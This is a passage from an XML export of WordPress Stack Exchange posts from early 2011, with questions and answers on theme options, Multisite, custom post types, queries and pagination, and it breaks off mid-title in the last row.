  <row Id="8453" PostTypeId="1" AcceptedAnswerId="8455" CreationDate="2011-02-03T17:14:22.197" Score="0" ViewCount="79" Body="&lt;p&gt;I want to add &amp;amp; reset default value for my theme options while activate and deactivate a theme&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More clearly something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(theme active)&#xA;  add_option(); &#xA;  // add new option to the theme and register default setting for one time only&#xA;&#xA;if(theme deactivate)&#xA;   delete_option();&#xA;  // reset current option and delete default setting  for one time only&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Question&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How know is theme active or not? What a function or hook for this one. Let me know&lt;/p&gt;&#xA;" OwnerUserId="2163" LastEditorUserId="2163" LastEditorDisplayName="" LastEditDate="2011-02-03T17:26:29.133" LastActivityDate="2011-02-03T17:26:29.133" Title="How to add or delete default value theme options while activate and deactivate theme" Tags="&lt;functions&gt;&lt;hooks&gt;&lt;theme-options&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="8454" PostTypeId="2" ParentId="8450" CreationDate="2011-02-03T17:15:04.193" Score="5" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@centr0:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&quot;MultiSite&quot;&lt;/em&gt; and &lt;em&gt;&quot;Create a Network&quot;&lt;/em&gt; are the same thing in WordPress 3.x.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Follow the steps found in &lt;a href=&quot;http://codex.wordpress.org/Create_A_Network&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Create a Network&lt;/strong&gt;&lt;/a&gt; in a new subdirectory and &lt;a href=&quot;http://ottopress.com/2010/wordpress-3-0-multisite-domain-mapping-tutorial/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;this tutorial&lt;/strong&gt;&lt;/a&gt; by Otto should show you have to map domains using the &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-mu-domain-mapping/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WordPress MU Domain Mapping plugin&lt;/strong&gt;&lt;/a&gt; &lt;em&gt;(&quot;MU&quot; is the legacy description of Multisite, just ignore that confusion.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will be much easier to do this on a new install than try to do in an existing install. Though you can do it, you will have a lot more pain to try to convert an existing install. Better just to export then import any existing content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if at all possible, get a different hosting account. Most of the WordPress people on the Linkedin WordPress group talk about how GoDaddy overloads servers and you especially don't want an overloaded shared server for Multisite. Maybe you'll consider getting a new account for this?  I'm a fan of &lt;a href=&quot;http://www.asmallorange.com/&quot; rel=&quot;nofollow&quot;&gt;A Small Orange&lt;/a&gt; web hosting in no small part due to the fact they have &lt;a href=&quot;http://www.asmallorange.com/hosting/shared/&quot; rel=&quot;nofollow&quot;&gt;a US$25/&lt;em&gt;year&lt;/em&gt; account&lt;/a&gt; with 150Mb of storage &lt;em&gt;(and they have been my webhost for 5+ years.)&lt;/em&gt;  But almost any website will do you better than GD.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-02-03T18:24:02.230" LastActivityDate="2011-02-03T18:24:02.230" CommentCount="2" />
  <row Id="8455" PostTypeId="2" ParentId="8453" CreationDate="2011-02-03T17:26:25.540" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@haha:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think what you are looking for was answered here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/6248/theme-activate-hook&quot;&gt;&lt;strong&gt;Theme Activate Hook&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-02-03T17:26:25.540" CommentCount="1" />
  <row Id="8456" PostTypeId="2" ParentId="4897" CreationDate="2011-02-03T17:27:52.343" Score="0" ViewCount="" Body="&lt;p&gt;The problem really is in the user sessions (in my humble knowledge about the subject). Because Wordpress already has user sessions for its own admin users, it's difficult to create a new login-session membership functionality and make it decent. If you wanted to compromise, you could make a login area for a page, and just let it &quot;log the user out&quot; whenever they refresh or move to a new page.&lt;/p&gt;&#xA;" OwnerUserId="2397" LastActivityDate="2011-02-03T17:27:52.343" />
  <row Id="8457" PostTypeId="2" ParentId="8449" CreationDate="2011-02-03T17:37:41.597" Score="4" ViewCount="" Body="&lt;p&gt;In WordPress, &quot;---&quot; and &quot; -- &quot; become em-dashes (&amp;#8212; &lt;code&gt;&amp;amp;#8212;&lt;/code&gt;) and  &quot;--&quot; becomes an en-dash (&amp;#8212; &lt;code&gt;#8212;&lt;/code&gt;). The &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.1/wp-includes/formatting.php&quot; rel=&quot;nofollow&quot;&gt;sanitize_title_with_dashes()&lt;/a&gt; function doesn't catch these. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That function uses the databased copy, but the title displayed to the user always goes through a texturize function. So if we replace en/em dashes on their way into the database, the net result will be the same and avoid these bad URL cases the titles are re-texturized.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'title_save_pre', 'do_replace_dashes' );&#xA;function do_replace_dashes($string_to_clean) {&#xA;    # The html entities (&amp;amp;#8211;  and &amp;amp;#8212;) don’t actually work but I include them for kicks and giggles. &#xA;    $string_to_clean = str_replace( array('&amp;amp;#8212;', '—', '&amp;amp;#8211;', '–', '‚', '„', '“', '”', '’', '‘', '…'), array(' -- ',' -- ', '--','--', ',', ',,', '&quot;', '&quot;', &quot;'&quot;, &quot;'&quot;, '...'), $string_to_clean );&#xA;    return $string_to_clean;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1860" LastActivityDate="2011-02-03T17:37:41.597" CommentCount="2" />
  <row Id="8458" PostTypeId="1" AcceptedAnswerId="8463" CreationDate="2011-02-03T17:58:57.650" Score="1" ViewCount="184" Body="&lt;p&gt;I have a couple blogs / wordpress sites that I post pictures on.  I have noticed that most of the pictures  I post with the nextgen gallery plug in never show up in google images search.  Is there a way to fix this?&lt;/p&gt;&#xA;" OwnerUserId="2919" LastEditorUserId="49" LastEditorDisplayName="" LastEditDate="2011-02-03T18:13:23.767" LastActivityDate="2011-02-03T18:54:29.550" Title="SEO images in Nextgen Galleries" Tags="&lt;images&gt;&lt;seo&gt;&lt;plugin-nextgen-gallery&gt;&lt;google-search&gt;" AnswerCount="1" />
  <row Id="8459" PostTypeId="2" ParentId="8446" CreationDate="2011-02-03T18:08:34.523" Score="2" ViewCount="" Body="&lt;p&gt;The basic answer - you can easily load template (or any PHP file really) with &lt;em&gt;*drumroll*&lt;/em&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/load_template&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;load_template()&lt;/code&gt;&lt;/a&gt;. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for best way to implement your custom feed, I think it would make sense to do it by analogue with native WP feeds. You register feed name and handler function with &lt;code&gt;add_feed()&lt;/code&gt; and load template in that handler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init','custom_feed_setup');&#xA;&#xA;function custom_feed_setup() {&#xA;&#xA;    add_feed('custom-post-type-xml', 'custom_feed_template');&#xA;}&#xA;&#xA;function custom_feed_template($input) {&#xA;&#xA;    load_template('whatever');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-02-03T19:08:33.573" LastActivityDate="2011-02-03T19:08:33.573" CommentCount="6" />
  <row Id="8460" PostTypeId="1" AcceptedAnswerId="8465" CreationDate="2011-02-03T18:16:45.917" Score="0" ViewCount="80" Body="&lt;p&gt;Currently, in my plugin description, I'm hardcoding...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To customize options &amp;lt;a&#xA;  href=&quot;options-general.php?page=my-plugin-admin.php&quot;&gt;click&#xA;  here&amp;lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is there a dynamic method to call the plugin options page?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-02-03T19:44:10.877" Title="Can I dynamically create a link to my plugin settings/options page from my plugin description?" Tags="&lt;plugin-development&gt;" AnswerCount="1" CommentCount="6" />
  <row Id="8461" PostTypeId="1" CreationDate="2010-09-20T02:55:31.643" Score="0" ViewCount="41" Body="&lt;p&gt;Can and does Wordpress tell me if I am logged in on another machine? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it store login IP addresses?&lt;/p&gt;&#xA;" OwnerUserId="963" LastActivityDate="2011-02-03T18:33:27.653" Title="Wordpress and login security?" Tags="&lt;security&gt;&lt;login&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="0" />
  <row Id="8462" PostTypeId="1" CreationDate="2011-02-03T18:42:20.407" Score="0" ViewCount="96" Body="&lt;p&gt;My client wants to sell groups of posts (let's call them packages) to registered users. Posts within a package may reside within different subcategories to a parent category, but will never be less related than that. A post will belong to zero or one package.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I intend to do this by using existing plugins. The less I have to write, the better, but if there are no applicable solutions available I will. Don't mind the payment aspects, and note that I do not want a PayPal-integrated subscription-based plugin or the like, only a logical per-package mapping to users with as little hassle as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what I need is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;A post grouping plugin with an admin interface.&lt;/strong&gt; I've looked at Post Groups, In Series and other plugins, but they've been very old, lacking an interface (just using custom fields I can do myself) or to niched. &lt;em&gt;Can I has teh groups?&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;A user/package relationship plugin.&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have thought about creating empty posts with a custom post type of &quot;package&quot;, and assigning posts to have a package post as parent. I was also thinking of installing the BuddyPress plugin and using the groups functionality, where a group represents a package. As a post cannot natively be bound to a community group, a custom field may point to a group (perhaps through a separate admin page). &lt;em&gt;What do you think?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please direct me in any direction you see useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Alexander&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; Here's how I imagine the grouping UI: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.afekenholm.se/packages_wireframe.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As stated above, I could this myself, but I rather use available plugins (if there are any).&lt;/p&gt;&#xA;" OwnerUserId="2920" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-02-04T06:45:13.607" LastActivityDate="2011-02-04T06:45:13.607" Title="Selling cross-category groups of WordPress posts" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;custom-taxonomy&gt;&lt;user-access&gt;&lt;e-commerce&gt;" CommentCount="6" />
  <row Id="8463" PostTypeId="2" ParentId="8458" CreationDate="2011-02-03T18:54:29.550" Score="2" ViewCount="" Body="&lt;p&gt;Have you filled out the &quot;alt&quot; tags properly.  The chances of being indexed are less if the tag is not included.  Additionally, the file name for the image should not be &quot;quor7b.jpg&quot; unless it's a photo of a Quor7b. The file name should also reflect the image (e.g. rose.jpg). &lt;/p&gt;&#xA;" OwnerUserId="2709" LastActivityDate="2011-02-03T18:54:29.550" CommentCount="2" />
  <row Id="8464" PostTypeId="1" AcceptedAnswerId="8525" CreationDate="2011-02-03T18:58:01.433" Score="1" ViewCount="318" Body="&lt;p&gt;How to add default values for theme options? Currently I use basic option from &lt;a href=&quot;http://themeshaper.com/sample-theme-options/&quot; rel=&quot;nofollow&quot;&gt;this site&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sample will stored option value in serialize on database. When we activate the theme, there is no value in database at first time until we click Save Changes button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want add default value when theme activate something like this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;option_id   blog_id     option_name     option_value                                              autoload &#xA;152           0           theme_data      a:16:{s:12:&quot;html_doctype&quot;;s:1:&quot;1&quot;;s:14:&quot;header_fav...     yes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or how do I tweak current sample option to save not in serialize to database&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;option_id   blog_id     option_name     option_value    autoload &#xA;152           0           html_doctype    1               yes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let me know.&lt;/p&gt;&#xA;" OwnerUserId="2921" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-05T10:08:14.203" LastActivityDate="2011-02-05T10:08:14.203" Title="Wordpress theme options and insert default value for serialize data" Tags="&lt;themes&gt;&lt;coding&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="8465" PostTypeId="2" ParentId="8460" CreationDate="2011-02-03T19:44:10.877" Score="2" ViewCount="" Body="&lt;p&gt;You're looking for a plugin settings link that's dynamically generated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would be one approach.&lt;br&gt;&#xA;&lt;a href=&quot;http://wpengineer.com/1295/meta-links-for-wordpress-plugins/&quot; rel=&quot;nofollow&quot;&gt;http://wpengineer.com/1295/meta-links-for-wordpress-plugins/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-02-03T19:44:10.877" CommentCount="1" />
  <row Id="8466" PostTypeId="1" AcceptedAnswerId="8469" CreationDate="2011-02-03T19:49:10.290" Score="2" ViewCount="81" Body="&lt;p&gt;Frustration!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easy to change the RSS title link using the RSS widget to link to the feed instead of the blog itself?  It can't be this hard..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could easily hard code this but I want to keep it as modular as possible.&lt;/p&gt;&#xA;" OwnerUserId="2917" LastActivityDate="2011-08-01T13:21:30.567" Title="Changing RSS title link to link to feed instead of blog" Tags="&lt;rss&gt;" AnswerCount="1" />
  <row Id="8467" PostTypeId="1" AcceptedAnswerId="8472" CreationDate="2011-02-03T20:04:14.697" Score="0" ViewCount="224" Body="&lt;p&gt;I have a custom page type set up called 'Products' and I need each of these post to automatically have multiple custom fields to set up a table of features/prices for the individual product pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way this can be done? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2415" LastActivityDate="2011-02-03T21:18:24.457" Title="Add custom field automatically to custom page types" Tags="&lt;theme-development&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" />
  <row Id="8469" PostTypeId="2" ParentId="8466" CreationDate="2011-02-03T20:25:53.867" Score="2" ViewCount="" Body="&lt;p&gt;I don't see any easy way in source. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That link is retrieved from feed by SimplePie method and is not passing through any deliberate filters. And it gets concatenated with rest of title after that is passed through filter, not before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only idea I have is to filter it in &lt;code&gt;esc_url()&lt;/code&gt; function at &lt;code&gt;clean_url&lt;/code&gt; hook, but that will only work nicely if link is unique and won't break elsewhere... Or will take some messy hook juggling to target it precisely.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-03T20:25:53.867" CommentCount="1" />
  <row Id="8470" PostTypeId="2" ParentId="8450" CreationDate="2011-02-03T20:29:46.890" Score="0" ViewCount="" Body="&lt;p&gt;According to the codex &#xA;You cannot choose Sub-domain Install in the following cases:&#xA; WordPress install is in a directory (not in document root).&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-03T20:29:46.890" />
  <row Id="8471" PostTypeId="1" CreationDate="2011-02-03T20:52:16.300" Score="2" ViewCount="110" Body="&lt;p&gt;Does anybody have an idea as to when WordPress 3.1 will be released? A few days, a week, month, etc.?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a few features that I &lt;em&gt;really&lt;/em&gt; could use in it which would make my life &lt;em&gt;a lot&lt;/em&gt; easier and save a lot of time.&lt;/p&gt;&#xA;" OwnerUserId="1462" LastActivityDate="2011-02-04T00:34:17.920" ClosedDate="2011-02-23T20:41:38.687" Title="Release Date for Wordpress 3.1?" Tags="&lt;updates&gt;&lt;update&gt;&lt;wordpress-version&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" />
  <row Id="8472" PostTypeId="2" ParentId="8467" CreationDate="2011-02-03T20:58:21.487" Score="1" ViewCount="" Body="&lt;p&gt;Hi @&lt;strong&gt;Jared&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I too had a question about this. Luckily, &lt;a href=&quot;http://wordpress.stackexchange.com/questions/6557/redesigning-custom-post-type-add-new-page/6575#6575&quot;&gt;Chris_O&lt;/a&gt; answered it for me. You may also want to check out &lt;a href=&quot;http://wordpress.stackexchange.com/questions/128/tips-for-using-wordpress-as-a-cms&quot;&gt;this question&lt;/a&gt;, too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of what I've done with meta boxes and you can see it's quite easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/Envuc.png&quot; alt=&quot;Example Post Type&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2322" LastActivityDate="2011-02-03T20:58:21.487" />
  <row Id="8473" PostTypeId="2" ParentId="8471" CreationDate="2011-02-03T20:59:39.457" Score="1" ViewCount="" Body="&lt;p&gt;It was supposed to be released well before New Year, so by now any estimate is bust.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Endure the pain, you are not alone... Every time someone asks about querying multiple custom fields here I try really hard not to headdesk. :)&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-03T20:59:39.457" CommentCount="3" />
  <row Id="8474" PostTypeId="2" ParentId="8467" CreationDate="2011-02-03T21:18:24.457" Score="2" ViewCount="" Body="&lt;p&gt;Using custom fields on custom post types is a pretty common task. What you essentialy need to do is adding a metabox and saving the values to the database.  There already are some pretty good explanations of how to achieve what you want to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should check out the official documentation of &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_meta_box()&lt;/code&gt;&lt;/a&gt;, there's a fully working example in there!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;― André&lt;/p&gt;&#xA;" OwnerUserId="2928" LastActivityDate="2011-02-03T21:18:24.457" />
  <row Id="8475" PostTypeId="2" ParentId="8471" CreationDate="2011-02-03T21:21:46.060" Score="0" ViewCount="" Body="&lt;p&gt;Just start with the trunk version and update to 3.1 when its out. Why wait?&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-02-03T21:21:46.060" />
  <row Id="8476" PostTypeId="2" ParentId="7066" CreationDate="2011-02-03T21:27:48.503" Score="3" ViewCount="" Body="&lt;p&gt;I ended up having to manually detect the language, here's how I solved it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (ICL_LANGUAGE_CODE == 'fr')&#xA;        {  &#xA;        // display the menu en francais &#xA;            wp_nav_menu( array( 'menu' =&amp;gt; 'Navigation principale', 'theme_location' =&amp;gt; 'primary', 'container_class' =&amp;gt; 'menu-header', 'menu_id' =&amp;gt; 'menu-primary-navigation' ) );       &#xA;        } &#xA;        else {  &#xA;        // show them the menu in English&#xA;            wp_nav_menu( array( 'menu' =&amp;gt; 'Primary Navigation', 'theme_location' =&amp;gt; 'primary', 'container_class' =&amp;gt; 'menu-header', 'menu_id' =&amp;gt; 'menu-primary-navigation' ) );&#xA;        }; ?&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2527" LastActivityDate="2011-02-03T21:27:48.503" />
  <row Id="8477" PostTypeId="1" AcceptedAnswerId="8479" CreationDate="2011-02-03T21:33:47.403" Score="0" ViewCount="39" Body="&lt;p&gt;I have the following query in WordPress to call custom post meta, everything is working fine, with one exception, whichever query is second is echoing nothing.  Sorry for the WordPress post, but for those unfamiliar the '&lt;code&gt;get_post_meta($post-&amp;gt;ID&lt;/code&gt;' is retrieving the post ID for the first one and then echoing the same for the second, I need to close the first query but don't know how.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            &amp;lt;h3 class=&quot;body_heading&quot;&amp;gt;&#xA;            &amp;lt;?php $soon_events = get_post_meta($post-&amp;gt;ID, 'coming_soon_events', true); if ($soon_events) : echo $soon_events; endif; ?&amp;gt;&#xA;            &amp;lt;/h3&amp;gt;   &#xA;&#xA;        &amp;lt;h3 class=&quot;body_heading clear&quot;&amp;gt;&#xA;            &amp;lt;?php $feat_events = get_post_meta($post-&amp;gt;ID, 'featured_events', true); if ($feat_events) : echo $feat_events; endif; ?&amp;gt;&#xA;        &amp;lt;/h3&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2527" LastActivityDate="2011-02-03T21:44:38.627" Title="Non-Closing PHP Query in WordPress Loop" Tags="&lt;php&gt;&lt;custom-field&gt;&lt;post-meta&gt;&lt;multi-language&gt;" AnswerCount="1" />
  <row Id="8478" PostTypeId="1" AcceptedAnswerId="8485" CreationDate="2011-02-03T21:35:09.727" Score="0" ViewCount="209" Body="&lt;p&gt;I need to display a list of current tasks. Each task has a custom post_type and a start date and end date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone tell me how to modify my query so it will pick up any tasks that have a start date in the past and an end date in the future? (There's another meta_key named 'end_date')&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$todays_date = time();&#xA;&#xA;$args = array ('post_type'      =&amp;gt; 'tasks',&#xA;               'meta_key'       =&amp;gt; 'start_date',&#xA;               'meta_compare'   =&amp;gt; '&amp;gt;',&#xA;               'meta_value'     =&amp;gt; $todays_date,&#xA;               'orderby'        =&amp;gt; 'meta_value'&#xA;              );&#xA;&#xA;$tasks = get_posts($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem with the query above is that it's showing tasks that in the future, but haven't started yet.&lt;/p&gt;&#xA;" OwnerUserId="1462" LastEditorUserId="1462" LastEditorDisplayName="" LastEditDate="2011-02-03T22:50:31.423" LastActivityDate="2011-02-04T20:00:40.833" Title="Custom query for custom post_type" Tags="&lt;custom-post-types&gt;&lt;query&gt;&lt;get-posts&gt;" AnswerCount="1" />
  <row Id="8479" PostTypeId="2" ParentId="8477" CreationDate="2011-02-03T21:44:38.627" Score="3" ViewCount="" Body="&lt;p&gt;Try &lt;code&gt;&amp;lt;?php wp_reset_query(); ?&amp;gt;&lt;/code&gt; after each function. See &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_reset_query&quot; rel=&quot;nofollow&quot;&gt;Function Reference/wp reset query « WordPress Codex&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-02-03T21:44:38.627" />
  <row Id="8480" PostTypeId="1" AcceptedAnswerId="8484" CreationDate="2011-02-03T21:47:30.043" Score="1" ViewCount="108" Body="&lt;p&gt;I work at a radio station that has several WP user roles -- for simplicity sake, let's say Admin, Programmer, Subscriber, in decreasing order of ability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, Admin users need to approve comments left by Programmer users. How do I auto-approve Programmer-level comments, without letting that user level administrate comments globally?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="1682" LastActivityDate="2011-07-31T11:02:42.310" Title="Capability for allowing user to post own comments without moderation" Tags="&lt;comments&gt;&lt;capabilities&gt;&lt;user-access&gt;&lt;user-roles&gt;&lt;moderation&gt;" AnswerCount="1" />
  <row Id="8481" PostTypeId="1" AcceptedAnswerId="8494" CreationDate="2011-02-03T21:48:12.357" Score="0" ViewCount="389" Body="&lt;p&gt;I came across &lt;a href=&quot;http://wordpress.stackexchange.com/questions/6884/add-common-post-actions-to-custom-meta-column&quot;&gt;this question&lt;/a&gt; while writing this question. I have one question that extends upon that question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I figured out that you use the &lt;code&gt;get_delete_post_link&lt;/code&gt; filter to create a new url for my actions (or a similar function -- In any case, I'm using that one with the boolean at the end). Only thing is, &lt;strong&gt;I don't know how to capture the event now.&lt;/strong&gt; Some help would be appreciated considering I can't find many examples of post row actions on Google. :-/&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function _wp_filter_get_delete_post_link( $post_id, $deprecated, $force_delete = false )&#xA;{&#xA;    if ( ! empty( $deprecated ) )&#xA;    {&#xA;        _deprecated_argument( __FUNCTION__, '3.0.0' );&#xA;    }&#xA;&#xA;    $post = &amp;amp;get_post( $post_id );      &#xA;    if ( ! $post ) return;&#xA;&#xA;    if ( strcmp($post-&amp;gt;post_type, &quot;visitor&quot;) ) return;&#xA;&#xA;    $post_type_object = get_post_type_object( $post-&amp;gt;post_type );&#xA;    if ( !$post_type_object ) return;&#xA;    if ( !current_user_can( $post_type_object-&amp;gt;cap-&amp;gt;delete_post, $post-&amp;gt;ID ) ) return;&#xA;    // http://localhost/wordpress/wp-admin/post.php?post=163&amp;amp;action=trash&amp;amp;_wpnonce=a56abdcbb3&#xA;&#xA;    $action = ( $force_delete ? 'logout' : 'login' );&#xA;&#xA;    $delete_link = add_query_arg( 'action', $action, admin_url( sprintf( $post_type_object-&amp;gt;_edit_link, $post-&amp;gt;ID ) ) );&#xA;&#xA;    return wp_nonce_url( $delete_link, &quot;$action-{$post-&amp;gt;post_type}_{$post-&amp;gt;ID}&quot; );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, if you're needing some more information on how I'm using it, here's some more code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function _wp_post_row_actions( $actions, $post )&#xA;{&#xA;    if ( $post-&amp;gt;post_type == 'visitor' )&#xA;    {&#xA;        //unset( $actions['edit'] );&#xA;        unset( $actions['inline hide-if-no-js'] );&#xA;        unset( $actions['trash'] );&#xA;        unset( $actions['view'] );&#xA;&#xA;        $state = get_post_meta( $post-&amp;gt;ID, 'v_state', true ) === 'in';&#xA;&#xA;        if ( $state )&#xA;        {&#xA;            $actions['trash'] = get_delete_post_link( $post-&amp;gt;ID, '', true );    // Logout&#xA;            // get_delete_post_link&#xA;        }&#xA;        else&#xA;        {&#xA;            $actions['trash'] = get_delete_post_link( $post-&amp;gt;ID );  // Login&#xA;        }&#xA;    }&#xA;&#xA;    return $actions;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; Well, the above isn't complete. I just noticed that it doesn't actually generate a link which is weird. &lt;strong&gt;So, I guess what I'm asking is for a way to customize the Post Row Actions for my custom post type by adding a &quot;Logout/Login&quot; link in place of the &lt;code&gt;$actions['trash']&lt;/code&gt; link.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="2322" LastActivityDate="2011-04-18T05:02:15.427" Title="Custom Post Row Actions" Tags="&lt;custom-post-types&gt;&lt;filters&gt;" AnswerCount="2" />
  <row Id="8482" PostTypeId="1" AcceptedAnswerId="8522" CreationDate="2011-02-03T21:51:44.870" Score="0" ViewCount="173" Body="&lt;p&gt;For some reason the below code works until I hit the third page and gives 404. Is it possible to fix it without using any plugins? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $temp = $wp_query;&#xA;    $wp_query = null;&#xA;    $wp_query = new WP_Query('cat='. $id .'&amp;amp;posts_per_page=4&amp;amp;paged='.$paged);&#xA;    while ($wp_query-&amp;gt;have_posts()) : $wp_query-&amp;gt;the_post();&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php get_the_content() ?&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;&#xA;&amp;lt;?php if (  $wp_query-&amp;gt;max_num_pages &amp;gt; 1 ) : ?&amp;gt;&#xA;    &amp;lt;?php previous_posts_link( __( 'Previous', 'themename' ) ); ?&amp;gt;&#xA;    &amp;lt;?php next_posts_link( __( 'Next', 'themename' ) ); ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;?php $wp_query = null; $wp_query = $temp;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2313" LastActivityDate="2011-02-04T11:21:21.687" Title="Broken category 